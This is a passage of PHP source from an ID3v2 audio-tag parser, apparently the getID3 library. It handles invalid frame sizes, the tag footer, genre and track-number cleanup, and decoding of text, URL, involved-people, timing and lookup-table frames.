					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
					$parsedFrame['dataoffset']      = $framedataoffset;

					$this->ParseID3v2Frame($parsedFrame);
					$thisfile_id3v2[$frame_name][] = $parsedFrame;

					$framedata = substr($framedata, $frame_size);

				} else { // invalid frame length or FrameID

					if ($frame_size <= strlen($framedata)) {

						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {

							// next frame is valid, just skip the current frame
							$framedata = substr($framedata, $frame_size);
							$this->warning('Next ID3v2 frame is valid, skipping current frame.');

						} else {

							// next frame is invalid too, abort processing
							//unset($framedata);
							$framedata = null;
							$this->error('Next ID3v2 frame is also invalid, aborting processing.');

						}

					} elseif ($frame_size == strlen($framedata)) {

						// this is the last frame, just skip
						$this->warning('This was the last ID3v2 frame.');

					} else {

						// next frame is invalid too, abort processing
						//unset($framedata);
						$framedata = null;
						$this->warning('Invalid ID3v2 frame size, aborting.');

					}
					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {

						switch ($frame_name) {
							case "\x00\x00".'MP':
							case "\x00".'MP3':
							case ' MP3':
							case 'MP3e':
							case "\x00".'MP':
							case ' MP':
							case 'MP3':
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]');
								break;

							default:
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).');
								break;
						}

					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).');

					} else {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).');

					}

				}
				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));

			}

		}


	//    Footer

	//    The footer is a copy of the header, but with a different identifier.
	//        ID3v2 identifier           "3DI"
	//        ID3v2 version              $04 00
	//        ID3v2 flags                %abcd0000
	//        ID3v2 size             4 * %0xxxxxxx

		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
			$footer = $this->fread(10);
			if (substr($footer, 0, 3) == '3DI') {
				$thisfile_id3v2['footer'] = true;
				$thisfile_id3v2['majorversion_footer'] = ord($footer[3]);
				$thisfile_id3v2['minorversion_footer'] = ord($footer[4]);
			}
			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
				$id3_flags = ord($footer[5]);
				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);

				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
			}
		} // end footer

		if (isset($thisfile_id3v2['comments']['genre'])) {
			$genres = array();
			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
				foreach ($this->ParseID3v2GenreString($value) as $genre) {
					$genres[] = $genre;
				}
			}
			$thisfile_id3v2['comments']['genre'] = array_unique($genres);
			unset($key, $value, $genres, $genre);
		}

		if (isset($thisfile_id3v2['comments']['track_number'])) {
			foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) {
				if (strstr($value, '/')) {
					list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]);
				}
			}
		}

		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
			$thisfile_id3v2['comments']['year'] = array($matches[1]);
		}


		if (!empty($thisfile_id3v2['TXXX'])) {
			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
				switch ($txxx_array['description']) {
					case 'replaygain_track_gain':
						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
					case 'replaygain_track_peak':
						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
						}
						break;
					case 'replaygain_album_gain':
						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
				}
			}
		}


		// Set avdataoffset
		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
		if (isset($thisfile_id3v2['footer'])) {
			$info['avdataoffset'] += 10;
		}

		return true;
	}

	/**
	 * @param string $genrestring
	 *
	 * @return array
	 */
	public function ParseID3v2GenreString($genrestring) {
		// Parse genres into arrays of genreName and genreID
		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
		// ID3v2.4.x: '21' $00 'Eurodisco' $00
		$clean_genres = array();

		// hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags
		if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) {
			// note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here:
			// replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name
			if (strpos($genrestring, '/') !== false) {
				$LegitimateSlashedGenreList = array(  // https://github.com/JamesHeinrich/getID3/issues/223
					'Pop/Funk',    // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard
					'Cut-up/DJ',   // Discogs - https://www.discogs.com/style/cut-up/dj
					'RnB/Swing',   // Discogs - https://www.discogs.com/style/rnb/swing
					'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul
				);
				$genrestring = str_replace('/', "\x00", $genrestring);
				foreach ($LegitimateSlashedGenreList as $SlashedGenre) {
					$genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring);
				}
			}

			// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
			if (strpos($genrestring, ';') !== false) {
				$genrestring = str_replace(';', "\x00", $genrestring);
			}
		}


		if (strpos($genrestring, "\x00") === false) {
			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
		}

		$genre_elements = explode("\x00", $genrestring);
		foreach ($genre_elements as $element) {
			$element = trim($element);
			if ($element) {
				if (preg_match('#^[0-9]{1,3}$#', $element)) {
					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
				} else {
					$clean_genres[] = str_replace('((', '(', $element);
				}
			}
		}
		return $clean_genres;
	}

	/**
	 * @param array $parsedFrame
	 *
	 * @return bool
	 */
	public function ParseID3v2Frame(&$parsedFrame) {

		// shortcuts
		$info = &$this->getid3->info;
		$id3v2_majorversion = $info['id3v2']['majorversion'];

		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenamelong'])) {
			unset($parsedFrame['framenamelong']);
		}
		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenameshort'])) {
			unset($parsedFrame['framenameshort']);
		}

		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
			if ($id3v2_majorversion == 3) {
				//    Frame Header Flags
				//    %abc00000 %ijk00000
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity

			} elseif ($id3v2_majorversion == 4) {
				//    Frame Header Flags
				//    %0abc0000 %0h00kmnp
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator

				// Frame-level de-unsynchronisation - ID3v2.4
				if ($parsedFrame['flags']['Unsynchronisation']) {
					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
				}

				if ($parsedFrame['flags']['DataLengthIndicator']) {
					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
				}
			}

			//    Frame-level de-compression
			if ($parsedFrame['flags']['compression']) {
				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
				if (!function_exists('gzuncompress')) {
					$this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"');
				} else {
					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
						$parsedFrame['data'] = $decompresseddata;
						unset($decompresseddata);
					} else {
						$this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"');
					}
				}
			}
		}

		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
				$this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data');
			}
		}

		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {

			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
			switch ($parsedFrame['frame_name']) {
				case 'WCOM':
					$warning .= ' (this is known to happen with files tagged by RioPort)';
					break;

				default:
					break;
			}
			$this->warning($warning);

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
			//   There may be more than one 'UFID' frame in a tag,
			//   but only one with the same 'Owner identifier'.
			// <Header for 'Unique file identifier', ID: 'UFID'>
			// Owner identifier        <text string> $00
			// Identifier              <up to 64 bytes binary data>
			$exploded = explode("\x00", $parsedFrame['data'], 2);
			$parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : '');
			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
			//   There may be more than one 'TXXX' frame in each tag,
			//   but only one with the same description.
			// <Header for 'User defined text information frame', ID: 'TXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// Value             <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description']));
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				} else {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				}
			}
			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain


		} elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame
			//   There may only be one text information frame of its kind in an tag.
			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
			// excluding 'TXXX' described in 4.2.6.>
			// Text encoding                $xx
			// Information                  <text string(s) according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));

			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
				switch ($parsedFrame['encoding']) {
					case 'UTF-16':
					case 'UTF-16BE':
					case 'UTF-16LE':
						$wordsize = 2;
						break;
					case 'ISO-8859-1':
					case 'UTF-8':
					default:
						$wordsize = 1;
						break;
				}
				$Txxx_elements = array();
				$Txxx_elements_start_offset = 0;
				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
						$Txxx_elements_start_offset = $i + $wordsize;
					}
				}
				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
				foreach ($Txxx_elements as $Txxx_element) {
					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
					if (!empty($string)) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
					}
				}
				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
			//   There may be more than one 'WXXX' frame in each tag,
			//   but only one with the same description
			// <Header for 'User defined URL link frame', ID: 'WXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// URL               <text string>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);           // according to the frame text encoding
			$parsedFrame['url']         = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1
			$parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);

			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames
			//   There may only be one URL link frame of its kind in a tag,
			//   except when stated otherwise in the frame description
			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
			// described in 4.3.2.>
			// URL              <text string>

			$parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
			// http://id3.org/id3v2.3.0#sec4.4
			//   There may only be one 'IPL' frame in each tag
			// <Header for 'User defined URL link frame', ID: 'IPL'>
			// Text encoding     $xx
			// People list strings    <textstrings>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);

			// https://www.getid3.org/phpBB3/viewtopic.php?t=1369
			// "this tag typically contains null terminated strings, which are associated in pairs"
			// "there are users that use the tag incorrectly"
			$IPLS_parts = array();
			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
				$IPLS_parts_unsorted = array();
				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
					$thisILPS  = '';
					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
						if ($twobytes === "\x00\x00") {
							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
							$thisILPS  = '';
						} else {
							$thisILPS .= $twobytes;
						}
					}
					if (strlen($thisILPS) > 2) { // 2-byte BOM
						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
					}
				} else {
					// ISO-8859-1 or UTF-8 or other single-byte-null character set
					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
				}
				if (count($IPLS_parts_unsorted) == 1) {
					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
						$position = '';
						foreach ($IPLS_parts_sorted as $person) {
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
						}
					}
				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
					$position = '';
					$person   = '';
					foreach ($IPLS_parts_unsorted as $key => $value) {
						if (($key % 2) == 0) {
							$position = $value;
						} else {
							$person   = $value;
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
							$position = '';
							$person   = '';
						}
					}
				} else {
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts[] = array($value);
					}
				}

			} else {
				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
			}
			$parsedFrame['data'] = $IPLS_parts;

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
			//   There may only be one 'MCDI' frame in each tag
			// <Header for 'Music CD identifier', ID: 'MCDI'>
			// CD TOC                <binary data>

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
			//   There may only be one 'ETCO' frame in each tag
			// <Header for 'Event timing codes', ID: 'ETCO'>
			// Time stamp format    $xx
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file
			//   Followed by a list of key events in the following format:
			// Type of event   $xx
			// Time stamp      $xx (xx ...)
			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
			//   or after the previous event. All events MUST be sorted in chronological order.

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
			//   There may only be one 'MLLT' frame in each tag
			// <Header for 'Location lookup table', ID: 'MLLT'>
			// MPEG frames between reference  $xx xx
			// Bytes between reference        $xx xx xx
			// Milliseconds between reference $xx xx xx
			// Bits for bytes deviation       $xx
			// Bits for milliseconds dev.     $xx
			//   Then for every reference the following data is included;
			// Deviation in bytes         %xxx....
			// Deviation in milliseconds  %xxx....

			$frame_offset = 0;
			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
			$deviationbitstream = '';
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			}
			$reference_counter = 0;
			while (strlen($deviationbitstream) > 0) {
				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
				$reference_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
			//   There may only be one 'SYTC' frame in each tag
			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
			// Time stamp format   $xx
			// Tempo data          <binary data>
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$timestamp_counter = 0;
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
				}
				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
				$timestamp_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {    // 4.9   ULT  Unsynchronised lyric/text transcription
			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
			//   in each tag, but only one with the same language and content descriptor.
			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
